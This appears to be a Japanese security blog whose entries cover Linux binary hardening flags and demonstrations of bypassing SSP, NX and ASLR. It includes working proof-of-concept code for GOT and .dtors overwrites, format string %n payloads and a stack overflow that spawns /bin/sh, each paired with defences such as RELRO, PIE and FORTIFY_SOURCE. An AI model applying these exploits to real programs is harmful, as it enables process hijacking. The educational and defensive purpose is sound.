return into libc アタックについて
(あとで書く..と思う)
- Exec-Shield時代のスタンダードな攻撃だけど、日本語の資料が見当たらない(ので書く)
- NXでもシェル起動は簡単
- Phrack Magazineの記事はおもしろい
- バイナリ中の任意の addl; ret; を "間借り" して、複数のcallをchainする話
- 都合の良いのPLTが無いとき、"return into __dl_runtime_resolve" して、お好きな関数を無理やり呼ぶ話
- randomize_va_spaceでランダム化されない部分と、PIEによる改善について
- 防御
結局どうすりゃいいのさ (攻撃されないCFLAGS/LDFLAGS)
最近のエントリの総まとめ。適当なネットワークデーモンなどを手動でmakeする際におすすめのgccのオプション。ソフトウェアにbuffer overflowをはじめとするありがちな欠陥があった場合でも、攻撃者にプロセスを乗っ取られないよう、コンパイラやカーネルで精一杯防御するためのCFLAGSとLDFLAGS。とりあえずFedora5以降を想定しています。
# 2006/6現在で私が把握しているものです。どんどん変化(進化)しますのでご注意。特にFedoraは。。
# 自分でフォローしたい場合、Hardened Gentooのページや、Fedoraのここは役立つと思います
基本
上記のように、「多少遅くなってもセキュアなバイナリ希望」という場合、もともとのCFLAGS/LDFLAGSに加えて、
CFLAGS=-fstack-protector-all -O2 -fno-strict-aliasing -D_FORTIFY_SOURCE=2 LDFLAGS=-Wl,-z,now,-z,relro
とするのがいいんじゃないでしょうか。さらに、ライブラリを作っているのではなく、実行ファイルを作っている場合は、
CFLAGS=-fPIE LDFLAGS=-pie
も追加してください。実行ファイル作成の際、ライブラリのスタティックリンクはなるべくやめましょう(自分で調整できるなら)。
味付け
スタックの使いかたを巷のプログラムとはひと味違うものにしておくと、script kiddyの攻撃をかわせる可能性が高まります。たぶん。次の -mpreferred-stack-boundary オプションも付け加えましょう。
CFLAGS=-mpreferred-stack-boundary=5
なお、5のところは、12以下であればもっと大きな値でもよいです。ただしあまり大きくするとスタックをすごく*1消費しますので、せいぜい5から7程度にしておくのが無難でしょう。
さらに、元々のMakefileに -fomit-frame-pointer と書いてあったらこれを取り去り、書いていなければこれを書き加えるのも手です。return to libc attackは、フレームポインタの有無で攻撃の戦略が結構変わりますので、このフレームポインタ有無をデフォルトから反転させることで script kiddy の(ry
品質の悪そうなプログラムは使いたくない、というなら、
CFLAGS=-Wformat=2 -Wstrict-aliasing=2
でコンパイルして、あんまり多くの警告がでる場合は使用をやめるとよいでしょう。ただし、冤罪(GCCの誤警告)の可能性もありますのでご注意。
# ほんとは、 -fvolatile なる逆最適化オプションも紹介しようと思っていたのだが、このオプションはGCC3.4から存在しなくなっていた..
仕上げ
最後に、全ての実行ファイルと共有ライブラリに対して、次を実行します。最終品質検査です。
% readelf -l 実行ファイルorライブラリ | grep GNU_STACK | grep RWE % readelf -d 実行ファイルorライブラリ | grep TEXTREL
もし、どちらかの行の実行で、あるいは両方で、なんらかの出力があったら、その 実行ファイルor共有ライブラリ は使うのを控え、別のソフトを探すとよいかもしれません。わかってそういうことをしている可能性もあるので絶対ダメというわけではないですが。
以上、Exec-Shield(NXとASLR)がonになっているのは前提とします。最近のディストリビューションならそうなっていることでしょう。
いたずら
ELF Kickersというツールに含まれている sstrip というコマンドでバイナリをstripしておくと、binutilsで解析できない(が実行はできる)バイナリになります。気安め程度ですが、objdumpやreadelfされるのが嫌なら検討するとよいかも。最近のbinutilsでは読めたりして。未確認です。elfutilsで読めるかどうかも未確認。
実行時
(あとで書く) export MALLOC_CHECK_=2
*1:O(N**2)で
GOTをほげほげする NX+ASLR+PIE+SSP(ProPolice) の突破デモ
これの続きです。さて、
- NXあり (exec-shield)
- ASLRあり (exec-shield-randomize)
- SSPあり
- PIEあり
- RELROなし
- FORTIFY_SOURCEなし
という条件で、
- format string bug を利用して、PIEなバイナリが貼り付けられたアドレスを知り
- format string bug を利用して、<__stack_check_fail@plt>が参照しているGOTを塗りつぶしてSSPを無効にして
- stack based buffer overflow で return into libc して*1、shellをexecする
というのをやってみます。CTスキャンして(1.)、麻酔して(2.)、手術(3.)みたいな感じです。ほとんど檻脱出系のイリュージョンかなんかに近いですな...。
(あとで書く。もしうまくいかなければ没 :-)
対策
最近のFedoraのように、デフォルトで gcc -D_FORTIFY_SOURCE=2 を指定し、かつ(できるだけ) ld -z relro を指定するようにすれば、「このケースでは」かつ「私の知る限りでは」大丈夫そうです。
とりあえず、「NXだけで大丈夫」とか「NXとSSPで完璧さ!」とかいう風潮はどうかなー、ということで。ひとつ。
*1:return into __dl_runtime_resolve のほうが格好いいんですが、面倒なのでパス
memo: SSP(ProPolice)を突破できるパターン?
GCCは4.1以降からデフォルトでSSP(a.k.a. ProPolice)というスタック保護の仕組みが搭載されています*1。この仕組みを使うと、スタック上に確保した配列のオーバーフローを実行時に検出できます。
% gcc -fstack-protector-all ssp_test.c % ./a.out *** stack smashing detected ***: ./a.out terminated zsh: abort ./a.out
この手のコンパイラに対するパッチはStackGuardを代表にいろいろあるんですが、SSPがもっとも高性能といわれてます。VC++の/GSよりも高性能です*2。ありがちな攻撃方法、たとえば、"Four different tricks to bypass StackShield and StackShield protection"の4つの手口は全部通用しません。
以前のものに比べてどの辺が改良されているか。詳しくはSSPのプレゼンテーションを見ていただくとして(説明する気0...)、簡単にまとめると、
- リターンアドレスの改竄を検知できるのは当然として
- saved frame pointer も改竄検知できる
のがまずgoodです。まぁ、ここまでは他のもそうだったりするんですが、SSPはそれに加え、
- ローカル変数を改竄できない
- 引数を改竄できない
という特性も備えているのですね。こっちがより重要なポイントです。普通、StackGuardなんかだと、(たとえば2引数の)関数呼び出し直後のスタックの状況は
[high] arg_2 arg_1 ret_addr saved_fp canary local_1 local_2 [low]
とかなってまして*3、local_2がchar配列で、オーバーフロー可能だとすると、オーバーフロー後、この関数から戻る _前_ に、改竄された local_1 や arg_1 や arg_2 *4、がうまいこと利用され、gotcha!! となるわけです。でも、SSPが有効だと、スタックのレイアウトが、
[high] ret_addr saved_fp canary local_2 arg_2 arg_1 local_1 [low]
のようになるわけですよ(イメージ)。ideal stack layout とか呼ばれています。argがスタックの成長方向(低いアドレス)に移動させられ、バイト配列である local_2 がカナリアの真横に移動させられます。上のような arg, local に対する攻撃(改竄)ができなくなってしまいます。
突破できそうなパターン3種
このように、かなりよいスタック保護を提供してくれるSSPなんですが、突破できる場合もあります。この土日で調べた範囲では、とりあえず次の3パターン。
- 二段以上の間接参照をしているケース
- 構造体のメンバのバイト配列がオーバーフローするケース
- バッファオーバーフロー以外のバグで、メモリ上の任意の4バイトを書き換え可能なケース
ほかにもあれば教えてください。あんまり思いつかず、かつWeb上にもあまり有用な資料がなくって、かろうじて見つかったのが2のみ。1/3は私の妄想によります。
順に。
[1] 二段以上の間接参照をしているケース
こんな例です。
static void shell() { system("/bin/sh"); } // 使われていない static void vuln_(int** p, char** a) { char x[12]; printf("x:%p p:%p dif:%d\n", x, p, (void*)p - (void*)x); strcpy(x, a[0]); // <-- (1) **p = strtoul(a[1], NULL, 16); // <-- (2) puts("ok\n"); // <-- (3) } void vuln(char** a) { int* p = malloc(sizeof(int)); // (4) vuln_(&p, a); }
vuln_関数の引数pを、(2)の部分で二段間接参照(**p)しています。このプログラムは、次のように攻撃できます。
#define PAD10 "1234567890" int main() { char* a[] = { PAD10 PAD10 PAD10 PAD10 PAD10 PAD10 "\x74\x98\x04\x08", /* GOT address (puts) */ "0x080484e4" /* shell() address */ }; vuln(a); return 0; }
(1) で、遠く(60バイトほど)離れた(4)のポインタの指し先をputs関数用のGOTにし、(2)でGOTの値をshell関数のアドレスにし、(3) でshell関数に飛ぶようにしました。
% gcc -fstack-protector-all test.c % ./a.out x:0xffffc024 p:0xffffc060 dif:60 sh-3.1$
実行するとシェルが起動します。んま、こんなのはかなりのレアケースとおもうので、次にいきましょう。
(TODO:サンプルコードをもう少しマシにできないか)
[2] 構造体のメンバのバイト配列がオーバーフローするケース
2004年のBlackHat USAの資料に載ってました。構造体のメンバはreorderできないから、構造体があるとideal stack layoutを実現できないよね、みたいな話です。なるほどねー。
(あとで書く)
[3] バッファオーバーフロー以外のバグで、メモリ上の任意の4バイトを書き換え可能なケース
format string bug や heap overflow を利用して、GOTを書き換えると楽しいという話を数日前に書きましたが、具体的にはGOTのどのエントリを書き換えるとよいでしょうか? もちろん、ケースバイケースではあるんですが、__stack_chk_fail関数用のGOTエントリなんて如何でしょうかね? 的な話です。
__stack_chk_fail関数というのは、SSPがバッファオーバーフローを検出したときに呼ばれる関数で、中でちょろっとメッセージをwrite()して即abort()するだけの関数です。でもこの関数、libc.soの中に入ってまして、プログラムから呼ぶ場合はPLTを経由しちゃうんですよね。こんな感じ。
% cat ssp.c #include <string.h> void vuln(const char* s) { char x[10]; strcpy(x, s); } int main() { vuln("1234567890"); return 0; } % gcc -fstack-protector-all -o ssp_test ssp.c % objdump -d ssp_test | less 080483f5 <vuln>: 80483f5: 55 push %ebp 80483f6: 89 e5 mov %esp,%ebp .. 8048421: 65 33 05 14 00 00 00 xor %gs:0x14,%eax 8048428: 74 05 je 804842f <vuln+0x3a> 804842a: e8 c5 fe ff ff call 80482f4 <__stack_chk_fail@plt> 804842f: c9 leave 8048430: c3 ret
ですので、GOT overwriteを利用して __stack_chk_fail のアドレスをどうでもいい関数のアドレス(例えば、
防御
以上3種類の攻撃から身を守る方法としては、SSPをPIEやRELROと併用するのが王道だろうと思います。でも、もしネタっぽい解決策がお好みなら、(3については)別の方法もあります。main関数の書いてあるソースコードに、次の内容を書き足してみてください。
// これを書き足す。x86/Linux用です。 void __stack_chk_fail() { // exitシステムコールを呼ぶだけ __asm__ ("mov $1, %eax; mov $1, %ebx; int $0x80"); }
すると、
% objdump -d ssp_sample | grep __stack__chk_fail .. 80483cd: e8 d2 ff ff ff call 80483a4 <__stack_chk_fail> ..
こんな感じで、PLTを経由せずに自作の__stack_chk_failが呼ばれるようになります。自作の __stack_chk_fail の中ではインラインアセンブラで割込をかけてるだけですから、PLT経由で何かを呼び出したりということは(もちろん)ありません。
% objdump -d ssp_sample | grep -A 15 '<__stack_chk_fail>:' 080483a4 <__stack_chk_fail>: 80483a4: 55 push %ebp 80483a5: 89 e5 mov %esp,%ebp 80483a7: 83 ec 18 sub $0x18,%esp 80483aa: 65 a1 14 00 00 00 mov %gs:0x14,%eax 80483b0: 89 45 fc mov %eax,0xfffffffc(%ebp) 80483b3: 31 c0 xor %eax,%eax 80483b5: b8 01 00 00 00 mov $0x1,%eax 80483ba: bb 01 00 00 00 mov $0x1,%ebx 80483bf: cd 80 int $0x80 80483c1: 8b 45 fc mov 0xfffffffc(%ebp),%eax 80483c4: 65 33 05 14 00 00 00 xor %gs:0x14,%eax 80483cb: 74 05 je 80483d2 <__stack_chk_fail+0x2e> 80483cd: e8 d2 ff ff ff call 80483a4 <__stack_chk_fail> 80483d2: c9 leave 80483d3: c3 ret
..再帰している気がするのは目の錯覚です。実害は...たぶんないでしょう。ちなみに、__stack_chk_fail()のインラインアセンブラ部分、ちょっと手抜きです。まともに書きたいひとはこれ(など)を参照のこと。
■
書き終わる前に休日が終わってしまいました。あとで埋めます。
昨日に続き、リハビリです。
補足3: .dtors overwrite をちゃんとformat string bugでやってみるか (別名 -D_FORTIFY_SOURCE=2 のすすめ)
これの続きです。
GOT overwrite でも .dtors overwrite でもなんでもいいんですけど、main関数で直接メモリを4バイト書き換えるのではなくて、ちゃんと(?) format string bug を悪用した書き換えを試してみます。リハビリです。format string bug の解説は、ここが秀逸だと思います(特に4章以降)。条件は前と同じで、
- NXあり
- ASLRあり
- RELROなし
- PIEなし
です。まず、次のような関数(vuln)を準備します。
static void vuln(const char* s) { printf(s); // <-- exploitable }
で、この関数をまずは次のように呼んでみます。
vuln("0x%08x\n" "0x%08x\n" "0x%08x\n" "0x%08x\n" "0x%08x\n");
printf関数に引数はひとつしかありませんが、フォーマット文字列に%xが5つ含まれているので、printf関数はスタック上に引数が積まれていると思い込み、それを拾って表示します。つまり、スタックに何がつまれているかを攻撃者は知ることができます*1。
次、.dtors書き換え。format string には %n というのがありまして、これは、「いままで出力した文字数を変数に書け」という意味です。思い切り説明を端折りますが、次のコードで .dtors overwrite が実現できます。
// dtor_overwrite_fmt.c #include <stdio.h> #include <stdlib.h> #include <stdint.h> __attribute__((destructor)) static void dtor_fn() { puts("good bye!"); } static void my_dtor_fn(void) { system("/bin/sh"); } static void vuln(const char* s) { printf(s); } // % objdump -sj .dtors dtor_overwrite_fmt // セクション .dtors の内容: // 8049558 ffffffff e4830408 00000000 // ^^^^^^^ +0 +4 +8 #define DTOR_SECTION_ADDR (0x8049558U + 4) int main(int argc, char** argv) { uintptr_t d_addr[4] = { DTOR_SECTION_ADDR, // %5$ DTOR_SECTION_ADDR + 1, // %6$ DTOR_SECTION_ADDR + 2, // %7$ DTOR_SECTION_ADDR + 3 // %8$ }; // % objdump -d dtor_overwrite_fmt | grep '<my_dtor_fn>:' // 080483f8 <my_dtor_fn>: // ^^^^^^^^ vuln("%1$0134513656x" "%5$n"); // 0x80483f8 = 134513656 return 0; }
なお、"%1$x" は 「1番目の引数から読め」、"%5$n" は「5番目の引数に書け」という意味になります。フォーマット文字列中で '$' がこのように使えるというのは、ちょっとしたトリビアですね。
攻撃コードを実行すると、シェルが起動します。
% ./dtor_overwrite_fmt > /dev/null sh-3.1$
この例では1億文字を/dev/nullに出力してしまっているので、shell起動までに時間がかかります。環境によっては、これでは攻撃が成功しないこともあるでしょう。あまり大量の文字を出力したくない場合は、8バイトづつ書く方法もあります。リトルエンディアンで、4バイト書き込みのアドレスが4バイト境界にアラインしていなくてもOKなx86だからできる技ですね。書き換えた4バイトの直後3バイトを破壊する点には注意。
(http://www.acm.uiuc.edu/sigmil/talks/general_exploitation/format_strings/ より) AA 00 00 00 | 0x0804955c BB 00 00 00 | 0x0804955d CC 00 00 00 | 0x0804955e DD 00 00 00 | 0x0804955f ----------------------| AA BB CC DD | Result starting at 0x0804955c
ここでは、次のコードでいけます。%nで書き込む値は単調増加しなければいけません(%nで出力されるのは、いままで書き込んだ文字列の総計なので)。ですから、0xf8の後に0x83は書けません。0x83を書くかわりに、0x183を書いているのはそのためです。余分な'1'は、次の3回目の書き込みで上書きされます。
// 080483f8 <my_dtor_fn>: // 0x0f8 = 248 // 0x183 = 387 (差分 +139) // 0x204 = 516 (差分 +129) // 0x308 = 776 (差分 +260) vuln("%1$0248x" "%5$n" "%1$0139x" "%6$n" "%1$0129x" "%7$n" "%1$0260x" "%8$n");
類似の攻撃
format stringを利用した各種攻撃法は、こちらのページによくまとまっています。
本題: format string bug から身を守る (FORTIFY_SOUERCEのすすめ)
プログラムを次の要領でコンパイルしましょう。gccの内部事情(ビルトイン関数がほにゃらら)で、-O1 以上の最適化が必要です。
% gcc -O -D_FORTIFY_SOURCE=2 -o dtor_overwrite_fmt ./dtor_overwrite_fmt.c % ./dtor_overwrite_fmt *** invalid %N$ use detected *** zsh: abort ./dtor_overwrite_fmt
文字列リテラル以外で、printf系関数に %n が渡ると、その場でプログラムがabortするようになります。
format string bug の害
ここまでで見てきたように、format string bug は、ざっくり
- メモリのお好きな場所を読む(%s), スタックの内容を読む(%x)
- メモリのお好きな場所に書く(%n)
という二種類の攻撃に使えます。2.の害は上に書いた通りで、また _FORTIFY_SOURCE で防御できます。
問題は1.のreadのほうです。こちらはgcc&glibcでは防御できません。1.はreadということで一見無害っぽいんですけど、もしプロセスをクラッシュさせないまま、このバグの悪用でスタックが読めると、スタックに積まれた "戻りアドレス"を攻撃者にリークしてしまうことになります。これって、ASLR+DSOや、ASLR+PIEなバイナリがメモリのどこにマップされてるかをリークするのとほぼ同じだったりするので、有害です。ランダム化されたスタックの開始アドレスも、saved-ebp経由でおよその値がバレちゃいますしね。
まとめると、format string bug によってASLR (exec_shield_randomize or randomize_va_space) が無意味になるケースがあり、これはランタイムの自動防御が難しい、ということです。気を付けましょう。gcc -Wformat=2 で、format string bug の疑いのある箇所をコンパイラに警告させることができますんで、活用すると良いかも。
*1:これにより、折角のASLRやPIEが無意味になります、後述
補足2: .dtors overwrite について
これの続き。
前に書いたGOT overwriteとほぼ同じ手口なんですが、.dtorsセクションに登録されている(関数の)アドレスを書き換えて、お好きな関数を呼ぶという攻撃方法があります。.dtor overwrite とか呼ばれてます。この手口を、
- NXあり
- ASLRあり
- RELROなし
- PIEなし
という条件下で試してみます。
#include <stdio.h> #include <stdlib.h> __attribute__((destructor)) static void dtor_fn() { puts("good bye!"); } static void my_dtor_fn(void) { puts("HEHE"); } int main(int argc, char** argv) { if (argc > 1) { unsigned int* got_addr = (unsigned int*)strtoul(argv[1], NULL, 16); *got_addr = (unsigned int)my_dtor_fn; } return 0; }
こんなソースを用意して、これをコンパイルし、実行してみます。すると、good bye! と表示されます。関数 dtor_fn に "destructor" という attribute がついているのがポイントですね。プロセスが終了するときに、この関数が勝手に呼ばれます。
% gcc -Wall -o dtor_overwrite dtor_overwrite.c % ./dtor_overwrite good bye!
仕組みはというと、dtor_fn関数のアドレスが、バイナリの.dtorsセクションに書き込まれているだけです。超シンプルです。
% objdump -sj .dtors ./dtor_overwrite セクション .dtors の内容: 8049510 ffffffff b4830408 00000000 ............ % objdump -d ./dtor_overwrite | grep '<dtor_fn>:' 080483b4 <dtor_fn>:
0x080483b4 が、アドレス 0x08049510 + 4 に書き込まれているのがわかると思います(エンディアンに注意, "b4830408" となっていますね)。前後の ffffffff と 00000000 は、関数リストの先頭と終端を示すマークです。確か。この "b4830408" を書き換えてやればオッケーです。
% ./dtor_overwrite 0x08049514 HEHE
成功。この攻撃から身を守るには、バイナリをRELRO化 (gcc -Wl,-z,now,-z,relro) するか、PIE化 (gcc -fPIE -pie) してくださいませ。